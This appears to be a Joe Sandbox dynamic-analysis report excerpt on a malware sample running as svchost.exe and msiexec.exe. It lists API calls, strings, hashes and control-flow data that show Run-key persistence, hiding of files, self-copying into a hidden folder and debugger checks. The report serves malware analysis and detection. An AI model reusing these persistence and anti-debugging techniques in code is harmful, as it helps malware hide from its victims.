Function 00007FF7E52B2EA8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF7E52B2EBA
ReleaseMutex.KERNEL32 ref: 00007FF7E52B2ED2
CloseHandle.KERNEL32 ref: 00007FF7E52B2EDD
GetLastError.KERNEL32 ref: 00007FF7E52B2EEA
ReleaseMutex.KERNEL32 ref: 00007FF7E52B2EFC
CloseHandle.KERNEL32 ref: 00007FF7E52B2F07

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction ID: 1f692f259c11290e3a863dc767502a92b4bc3ccbd63c648ed262b3986212ad33
Opcode Fuzzy Hash: 0ff44a8e6de8ed1e0195ea57690e214b8abe1ab05dd50aed0b9b1818bdfdce29
Instruction Fuzzy Hash: 5501DE7291CA45C2E7A4BB21EC74329A378FBCCF45F840232E98EC2664CF3CD5448612

Function 00007FF7E52B3CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF7E52B3D0D
PathFindFileNameW.SHLWAPI ref: 00007FF7E52B3D20
wcslen.MSVCRT ref: 00007FF7E52B3D36
wcsncpy.MSVCRT ref: 00007FF7E52B3DFB

Strings

Unknown, xrefs: 00007FF7E52B3DEC

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: FileName$FindModulePathwcslenwcsncpy
String ID: Unknown
API String ID: 4220601557-1654365787
Opcode ID: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction ID: 2b91d092ffbaf4099fca04c98fd5cff45c8fbffb945fd1c460937b628df185e1
Opcode Fuzzy Hash: 690d95a03e7d81498ee8eba6f9864dd8d054eb80074039efc5352044d11b8409
Instruction Fuzzy Hash: 5831EF7661CAC585D7B0DB15E8983AAB3A4F798B40F404136DA8DC3768DF3DD154CB11

Function 00007FF7E52B3A80 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 37fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E52B3750: GetWindowsDirectoryW.KERNEL32 ref: 00007FF7E52B3790
Part of subcall function 00007FF7E52B3750: GetVolumeInformationW.KERNEL32 ref: 00007FF7E52B380D
Part of subcall function 00007FF7E52B3750: wsprintfW.USER32 ref: 00007FF7E52B38AE

Part of subcall function 00007FF7E52B38D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3919
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B392E
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3941
Part of subcall function 00007FF7E52B38D0: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3951
Part of subcall function 00007FF7E52B38D0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3964
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3979
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B398C
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B39A1

GetModuleFileNameW.KERNEL32 ref: 00007FF7E52B3AC5
DeleteFileW.KERNEL32 ref: 00007FF7E52B3AD0
CopyFileW.KERNEL32 ref: 00007FF7E52B3AE9
SetFileAttributesW.KERNEL32 ref: 00007FF7E52B3B01

Strings

Services, xrefs: 00007FF7E52B3B0C

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: Filelstrcat$AttributesDirectory$CopyCreateDeleteFolderInformationModuleNamePathVolumeWindowswsprintf
String ID: Services
API String ID: 3209240227-2319745855
Opcode ID: 38d6394be8bf77897d26cc3553eafa69414fe1251da81c0f6a0b7873c45775de
Instruction ID: a86037c37058ff10ce6e70060b056d4228512903659381eeca6266a55ba94de2
Opcode Fuzzy Hash: 38d6394be8bf77897d26cc3553eafa69414fe1251da81c0f6a0b7873c45775de
Instruction Fuzzy Hash: 94015BA1B1854A93EB90EB24EC653AA9364FF98B44FD05033D25DC35A4EE3CD149CB51

Function 00007FF7E52B3B90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B30B8), ref: 00007FF7E52B3BD3
RegSetValueExW.ADVAPI32 ref: 00007FF7E52B3C09
RegCloseKey.ADVAPI32 ref: 00007FF7E52B3C18

Strings

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00007FF7E52B3B94
Hidden, xrefs: 00007FF7E52B3BA0

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Hidden$Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
API String ID: 779948276-85274793
Opcode ID: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction ID: aa8d18a8e2d2ce0f25bf4651bf4940f75bf0db6e7434ed71a4ab2b134aa83115
Opcode Fuzzy Hash: f3e07836e5ba881a062dce503c66c0d491a456e500aa4065dadb97dc516c8326
Instruction Fuzzy Hash: 76010C76618A808ADB909B14F85471AB774F788B94F901226EB8D83B68DF7CC145CF11

Function 00007FF7E52B13C4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7E52B13DC
GetProcAddress.KERNEL32 ref: 00007FF7E52B13EC

Strings

@, xrefs: 00007FF7E52B1429
IsWow64Process, xrefs: 00007FF7E52B13E2
kernel32, xrefs: 00007FF7E52B13D5

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: @$IsWow64Process$kernel32
API String ID: 1646373207-1447682865
Opcode ID: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction ID: a0dc41d1f159fef650dbeda6d24e2ffc437e63efa4cba0a7cd5d190ef7b3d64c
Opcode Fuzzy Hash: a9bbf8a12f5d8eb6f8ad7e89cb270f3f310781ea658b203d01df111f79f738b7
Instruction Fuzzy Hash: 1A0125B150C609C5E670AB10F864329B3B8FB4CB44FC04136D68D86554DF3CD545DF12

Function 00007FF7E52B4010 Relevance: 7.5, APIs: 5, Instructions: 35processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E52B402E
Process32FirstW.KERNEL32 ref: 00007FF7E52B4060
wcscmp.MSVCRT ref: 00007FF7E52B4077
CloseHandle.KERNEL32 ref: 00007FF7E52B40AD

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction ID: d6e598d5a7b5dd8e1ad0d920d750e07dc49ad1172a51307d6694daaa9ba28663
Opcode Fuzzy Hash: 3376bb50e415439aee280495e9a60c98961ef2e9d1aea3ddbb3f594fd01ecb72
Instruction Fuzzy Hash: E71124B190C68981E7B4AF10E89836AB3A5FB88B54F804736C69D82598DF3DD404DF51

Function 00007FF7E52B3750 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF7E52B3790
GetVolumeInformationW.KERNEL32 ref: 00007FF7E52B380D
wsprintfW.USER32 ref: 00007FF7E52B38AE

Strings

%08lX%04lX%lu, xrefs: 00007FF7E52B389F

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction ID: 4ce8098dd28f469ecfed3a788dbda654ce1ff17e688e3486dc573afb0ae848e0
Opcode Fuzzy Hash: 436ff40bcc19fce939f30fa226a3dd600714662161fd4864c43d5de57ec37882
Instruction Fuzzy Hash: CD311A6661C5C5C6D770DF24E8983ABB3A4FB98B40F805136E28DC3A58DB3DD408CB11

Function 00007FF7E52B39C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,00007FF7E52B3B18), ref: 00007FF7E52B39F0
RegSetValueExW.ADVAPI32 ref: 00007FF7E52B3A45
RegCloseKey.ADVAPI32 ref: 00007FF7E52B3A54

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00007FF7E52B39E2

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: CloseOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 779948276-1428018034
Opcode ID: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction ID: c06e5d59877c0a2d9612183c3a142cac98b7804581dacb9f7bb4245f7bbf6fa0
Opcode Fuzzy Hash: 6ccaf934a1ad21da06d80b98267ca208925d24f1eb2aafd50324653644eb1827
Instruction Fuzzy Hash: CA11897652CB8486D7909B14F85472AB7A4FB88BA0F505231F95E83BE8DF7CD144CB11

Function 00007FF7E52B1088 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF7E52B1098
GetProcAddress.KERNEL32 ref: 00007FF7E52B10A8

Strings

kernel32, xrefs: 00007FF7E52B1091
GetThreadId, xrefs: 00007FF7E52B109E

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetThreadId$kernel32
API String ID: 1646373207-2383230424
Opcode ID: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction ID: aa0f255536d7394b23b9237fea023d45bad6423840b3e1f7026d27b044e2fd67
Opcode Fuzzy Hash: 0e0d616a865e98c14ca799ee318c2db79fbcdd41deeb063eae94cbc16b699bb9
Instruction Fuzzy Hash: 80E0E5A1A0C98AC1D690AB20FC64325B3A4FB88B44FD00532D98D86664EF3CD549CB11

Function 00007FF7E52B2F38 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7E52B38D0: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3919
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B392E
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3941
Part of subcall function 00007FF7E52B38D0: CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3951
Part of subcall function 00007FF7E52B38D0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3964
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B3979
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B398C
Part of subcall function 00007FF7E52B38D0: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7E52B3AB5), ref: 00007FF7E52B39A1

Part of subcall function 00007FF7E52B4570: CreateFileW.KERNEL32 ref: 00007FF7E52B45B7

Part of subcall function 00007FF7E52B10D8: OpenProcess.KERNEL32 ref: 00007FF7E52B10FC

GetProcessHeap.KERNEL32 ref: 00007FF7E52B2FD3
HeapFree.KERNEL32 ref: 00007FF7E52B2FE6

Strings

chFrWWdQWsLFevUr, xrefs: 00007FF7E52B2F77
.x64, xrefs: 00007FF7E52B2F8A

Memory Dump Source

Source File: 0000000E.00000002.2854686230.00007FF7E52B1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF7E52B0000, based on PE: true

Associated: 0000000E.00000002.2854640704.00007FF7E52B0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854765396.00007FF7E52B5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854841514.00007FF7E52B8000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2854990551.00007FF7E52B9000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2855085417.00007FF7E52BB000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff7e52b0000_svchost.jbxd

Similarity

API ID: lstrcat$CreateFileHeapProcess$AttributesDirectoryFolderFreeOpenPath
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 1115570603-2286007224
Opcode ID: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction ID: fbb4bd2e6d82375ced51bb5d13b64e4ca23014bb0a4a3ccb38775c557f68661a
Opcode Fuzzy Hash: b4c18c20f70ad8f439685fb06799242bb4bc3d5fca964e0cdd9ebb58fa2316e3
Instruction Fuzzy Hash: 6C11DDB1918A8A81E790FF10FC643A6B3E8FB8CB04F804136D58CC2665DF7CE0458762

Analysis Process: msiexec.exePID: 3560, Parent PID: 5276COMMON

Execution Graph

Execution Coverage:	23.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	481
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF794683468 Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7946831B8: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF794683479), ref: 00007FF7946831BC

ExitProcess.KERNEL32 ref: 00007FF794683482
ExitProcess.KERNEL32 ref: 00007FF7946834E0

Strings

svchost.exe, xrefs: 00007FF7946834A3
audiodg.exe, xrefs: 00007FF794683558
worker_RdDwvE, xrefs: 00007FF7946834CB
worker_kBEqZh, xrefs: 00007FF79468356D
worker_FDhvwc, xrefs: 00007FF7946835D9
worker_BAccdq, xrefs: 00007FF79468351C
msiexec.exe, xrefs: 00007FF794683507

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: d046ec72414854a95ac145da404f48cfe551bb938449bd80d9aca6c332578950
Instruction ID: 895620a4be8801ee7d2db0af58f5792f6cfff260e1e5bf3b08213c6942bbc58d
Opcode Fuzzy Hash: d046ec72414854a95ac145da404f48cfe551bb938449bd80d9aca6c332578950
Instruction Fuzzy Hash: 20610DB191C643D1E674BF76E89527AA363AF40700FD08139D56E863E6DE2EE845C370

Function 00007FF7946840F0 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF79468348D), ref: 00007FF7946840F4
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF79468348D), ref: 00007FF794684107
GetTokenInformation.KERNELBASE ref: 00007FF794684138
GetTokenInformation.KERNELBASE ref: 00007FF79468416A
CloseHandle.KERNEL32 ref: 00007FF794684179

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction ID: cd7adb7efda7aff25efbd22a1498ed8ea0d830c5fe16ced9048c709eb9c836fe
Opcode Fuzzy Hash: fd59080c66b321c73413e7d2de34e4bdf32d34c1a4fe8f44048adaaf0721e1f2
Instruction Fuzzy Hash: E83107B261CA81C6D660EF66E49072AF761FBD4790F909035EA8E43B68DF7DD440CB10

Function 00007FF7946831B8 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF794683479), ref: 00007FF7946831BC
GetCurrentProcess.KERNEL32 ref: 00007FF7946831D2
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF7946831E0

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction ID: 777d3e125a286343d7ea57d8ce9275d78eda681d51e596d8c805d62ce9a90323
Opcode Fuzzy Hash: 2760cc306fb648241171a8ad32ec7adba68cc7e55a00feed93d80baffd57ff2b
Instruction Fuzzy Hash: 27F05EB190C282C2EB306F76946833AABA1BB45B08F949178D1ED06794CF6DD589CB31

Function 00007FF794684230 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF794684245
GetLastError.KERNEL32 ref: 00007FF79468425C
CloseHandle.KERNEL32 ref: 00007FF79468426E

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854543139.00007FF794685000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854590465.00007FF794688000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854636105.00007FF794689000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.2854684231.00007FF79468B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff794680000_msiexec.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction ID: 769ab3f797b53aebddb4c17b79a1de009df6c3f971359d1744afc374aec7bda1
Opcode Fuzzy Hash: 1cf4e2918870ecbf2b3a74783830b38e976b81dae19e632498ac4ce3c0eb4176
Instruction Fuzzy Hash: 88F0307290C742C2EA706F72E49437DA371FB96700F909534D5AE42764DF2DD405D620

Function 00007FF7946814EC Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF7946814FF
GetProcAddress.KERNEL32 ref: 00007FF794681514

Memory Dump Source

Source File: 0000000F.00000002.2854510860.00007FF794681000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF794680000, based on PE: true

Associated: 0000000F.00000002.2854435303.00007FF794680000.00000040.00000400.00020000.00000000.sdmpDownload File
